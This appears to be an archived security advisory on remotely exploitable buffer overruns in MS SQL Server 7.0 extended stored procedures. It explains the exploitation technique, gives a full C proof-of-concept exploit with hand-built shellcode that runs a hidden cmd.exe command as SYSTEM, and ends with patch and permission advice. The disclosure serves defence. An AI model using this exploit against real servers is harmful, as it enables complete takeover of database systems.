COMMAND
MS SQL
SYSTEMS AFFECTED
MS SQL Server 7.0 - all service packs
PROBLEM
Following is based on a @stake Security Advisory by David
Litchfield. Microsoft's database server, known as SQL Server,
contains several buffer overruns vulnerabilities that can be
remotely exploited to execute arbitrary computer code on the
affected system, thus allowing an attacker to gain complete
control of the server. In situations where the SQL Server is
protected by a firewall, it may still be possible to launch this
attack through a connecting web server - though this depends on
how secure the web server's application is.
To add further functionality to SQL server there are extended
stored procedures that perform one task or another. When an
overly long string parameter is provided to several of these
procedures a buffer is overrun. Ironicly it appears that these
overruns occur in part of the exception handling calls made by
SQL server to protect itself. The procdures known to be
vulnerable xp_displayparamstmt, xp_enumresultset, xp_showcolv and
xp_updatecolvbm. Each of these stored procedures are exported by
xprepl.dll and may be executed by PUBLIC, ostensibly everyone who
can login to the database server, even low privileged logins. If
the overruns are exploited the code runs in the context of the
powerful SYSTEM account.
Once the overflow occurs, the EAX register points to the user
supplied data and to force the processor to execute code supplied
in this buffer the saved return address would need to be
overwritten by an address that contained a 'jmp eax' or 'call
eax' instruction. Examining the DLLs loaded into the address
space shows that the DLL with the vulnerability, xprepl.dll, does
not change across SQL service packs, with SQL Server 7, at least.
If such an instruction could be found in this DLLs address space
then any proof of concept code would work across all SQL service
packs. As it happens these instructions do not exist in this
DLL. However, a 'call esi' instruction exists and on overrun the
esi register points to 4 bytes above where the saved return
address is overwritten. By overwriting the saved return address
with the address that contains the 'call esi' instruction and by
setting the bytes at esi to FF E0 (jmp eax), when the 'call esi'
executes, the 'jmp eax' executes and the code has "stepped over"
the DWORD that overwrote the saved return address.
Proof of Concept:
http://www.atstake.com/research/advisories/2000/sqladv-poc.c
Here is the code:
#include <stdio.h>
#include <windows.h>
#include <wchar.h>
#include <lmcons.h>
#include <sql.h>
#include <sqlext.h>
int main(int argc, char *argv[])
{
char szBuffer[1025]; //display successful connection info on
//hdbc(s) combo-box
SWORD swStrLen; //String length
SQLHDBC hdbc; //hdbc
SQLRETURN nResult;
SQLHANDLE henv;
HSTMT hstmt;
SCHAR InConnectionString[1025] = "DRIVER={SQL Server};SERVER=";
SCHAR server[100]="";
SCHAR uid[32]=";UID=";
SCHAR pwd[32]=";PWD=";
SCHAR *db=";DATABASE=master";
UCHAR query[20000] = "exec xp_displayparamstmt '";
unsigned char ch=0x01;
int count = 27, var =0, result = 0, chk =0;
if(argc !=4)
{
printf("USAGE:\t%s host uid pwd\nDavid Litchfield 9th November 2000\n",argv[0]);
return 0;
}
strncpy(server,argv[1],96);
strncat(uid,argv[2],28);
strncat(pwd,argv[3],28);
strncat(InConnectionString,server,96);
strncat(InConnectionString,uid,28);
strncat(InConnectionString,pwd,28);
strcat(InConnectionString,db);
while(count < 12083)
{
query[count]=0x90;
count++;
}
// jmp eax
query[count++]=0xFF;
query[count++]=0xE0;
// nops
query[count++]=0x90;
query[count++]=0x90;
// overwrite saved return address
query[count++]=0xAE;
query[count++]=0x20;
query[count++]=0xA6;
query[count++]=0x41;
// code starts in ernest
query[count++]=0x90;
// mov edx,eax
query[count++]=0x8B;
query[count++]=0xD0;
// add edx,0x52 <- points to our string table
query[count++]=0x83;
query[count++]=0xC2;
query[count++]=0x52;
// push ebp
query[count++]=0x55;
// mov ebp,esp
query[count++]=0x8B;
query[count++]=0xEC;
// mov edi,0x41A68014
query[count++]=0xBF;
query[count++]=0x14;
query[count++]=0x80;
query[count++]=0xA6;
query[count++]=0x41;
//mov esi,0x41A68040
query[count++]=0xBE;
query[count++]=0x40;
query[count++]=0x80;
query[count++]=0xA6;
query[count++]=0x41;
// mov ecx, 0xFFFFFFFF
query[count++]=0xB9;
query[count++]=0xFF;
query[count++]=0xFF;
query[count++]=0xFF;
query[count++]=0xFF;
// sub ecx, 0xFFFFFFB3
query[count++]=0x83;
query[count++]=0xE9;
query[count++]=0xB3;
// here:
// sub dword ptr[edx],1
query[count++]=0x83;
query[count++]=0x2A;
query[count++]=0x01;
// add edx,1
query[count++]=0x83;
query[count++]=0xC2;
query[count++]=0x01;
// sub ecx,1
query[count++]=0x83;
query[count++]=0xE9;
query[count++]=0x01;
// test ecx,ecx
query[count++]=0x85;
query[count++]=0xC9;
// jne here
query[count++]=0x75;
query[count++]=0xF3;
// sub edx, 0x48
query[count++]=0x83;
query[count++]=0xEA;
query[count++]=0x48;
// push edx <- calling LoadLibrary will mess edx so save it on stack
// Even though we're about to push edx as an arg to LoadLibrary
// we have to push it twice as LoadLibrary will remove one of them
// from the stack - once the call has returned pop it back into edx
query[count++]=0x52;
// LoadLibrary("kernel32.dll");
// push edx
query[count++]=0x52;
// call [edi]
query[count++]=0xFF;
query[count++]=0x17;
// pop edx
query[count++]=0x5A;
// On return LoadLibrary has placed a handle in EAX
// save this on this stack for later use
// push eax
query[count++]=0x50;
// GetProcAddress(HND,"WinExec");
// add edx, 0x10
query[count++]=0x83;
query[count++]=0xC2;
query[count++]=0x10;
// push edx
// need to save this again - pop it when GetProcAddress returns
query[count++]=0x52;
//push edx
query[count++]=0x52;
// push eax
query[count++]=0x50;
// call [esi]
query[count++]=0xFF;
query[count++]=0x16;
// pop edx
query[count++]=0x5A;
// WinExec("cmd.exe /c.....",SW_HIDE);
// add edx, 0x08
query[count++]=0x83;
query[count++]=0xC2;
query[count++]=0x08;
// push edx
query[count++]=0x52; // <- save edx
// xor ebx,ebx
query[count++]=0x33;
query[count++]=0xDB;
// push ebx
query[count++]=0x53;
// push edx
query[count++]=0x52;
// call eax
query[count++]=0xFF;
query[count++]=0xD0;
// With the shell spawned code now calls ExitProcess()
//pop edx
query[count++]=0x5A;
// pop eax <- This is saved handle to kernel32.dll
query[count++]=0x58;
// GetProcAddress(HND,"ExitProcess");
// add edx,0x24
query[count++]=0x83;
query[count++]=0xC2;
query[count++]=0x24;
// push edx
query[count++]=0x52;
// push eax
query[count++]=0x50;
// call [esi]
query[count++]=0xFF;
query[count++]=0x16;
// call ExitProcess(0);
// xor ebx,ebx
query[count++]=0x33;
query[count++]=0xDB;
// push ebx
query[count++]=0x53;
// call eax
query[count++]=0xFF;
query[count++]=0xD0;
// Here are our strings
// kernel32.dll, WinExec, cmd.exe /c ... , ExitProcess
// 1 has been added to each character to 'hide' the nulls
// the loop will sub 1 from each char
query[count++]=0x01;
query[count++]=0x01;
query[count++]=0x01;
query[count++]=0x01;
query[count++]=0x6c;
query[count++]=0x66;
query[count++]=0x73;
query[count++]=0x6f;
query[count++]=0x66;
query[count++]=0x6d;
query[count++]=0x34;
query[count++]=0x33;
query[count++]=0x2f;
query[count++]=0x65;
query[count++]=0x6d;
query[count++]=0x6d;
query[count++]=0x01;
query[count++]=0x01;
query[count++]=0x01;
query[count++]=0x01;
query[count++]=0x58;
query[count++]=0x6a;
query[count++]=0x6f;
query[count++]=0x46;
query[count++]=0x79;
query[count++]=0x66;
query[count++]=0x64;
query[count++]=0x01;
query[count++]=0x64;
query[count++]=0x6e;
query[count++]=0x65;
query[count++]=0x2f;
query[count++]=0x66;
query[count++]=0x79;
query[count++]=0x66;
query[count++]=0x21;
query[count++]=0x30;
query[count++]=0x64;
query[count++]=0x21;
query[count++]=0x65;
query[count++]=0x6a;
query[count++]=0x73;
query[count++]=0x21;
query[count++]=0x3f;
query[count++]=0x21;
query[count++]=0x64;
query[count++]=0x3b;
query[count++]=0x5d;
query[count++]=0x74;
query[count++]=0x72;
query[count++]=0x6d;
query[count++]=0x70;
query[count++]=0x77;
query[count++]=0x66;
query[count++]=0x73;
query[count++]=0x73;
query[count++]=0x76;
query[count++]=0x6f;
query[count++]=0x2f;
query[count++]=0x75;
query[count++]=0x79;
query[count++]=0x75;
query[count++]=0x01;
query[count++]=0x01;
query[count++]=0x46;
query[count++]=0x79;
query[count++]=0x6a;
query[count++]=0x75;
query[count++]=0x51;
query[count++]=0x73;
query[count++]=0x70;
query[count++]=0x64;
query[count++]=0x66;
query[count++]=0x74;
query[count++]=0x74;
query[count++]=0x01;
strcat(query,"',2,3");
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=
SQL_SUCCESS)
{
printf("Error SQLAllocHandle");
return 0;
}
if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("Error SQLSetEnvAttr");
return 0;
}
if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("SQLAllocHandle - 2");
return 0;
}
nResult = SQLDriverConnect(hdbc, NULL, InConnectionString,
strlen(InConnectionString), szBuffer, 1024, &swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(nResult == SQL_SUCCESS | nResult == SQL_SUCCESS_WITH_INFO)
{
printf("Connected to MASTER database...\n\n");
SQLAllocStmt(hdbc,&hstmt);
}
else
{
printf("Couldn't connect.\n");
return 0;
}
if(SQLExecDirect(hstmt,query,SQL_NTS) !=SQL_SUCCESS)
{
printf("\nBuffer has been sent...c:\\sqloverrun.txt should now exist.");
return 0;
}
printf("Buffer sent...");
return 0;
}
SOLUTION
Disallow PUBLIC execute access to these extended stored procedures
usless you need it. Install the vendor supplied patch. Microsoft
has released a patch to fix this problem:
http://support.microsoft.com/support/sql/xp_security.asp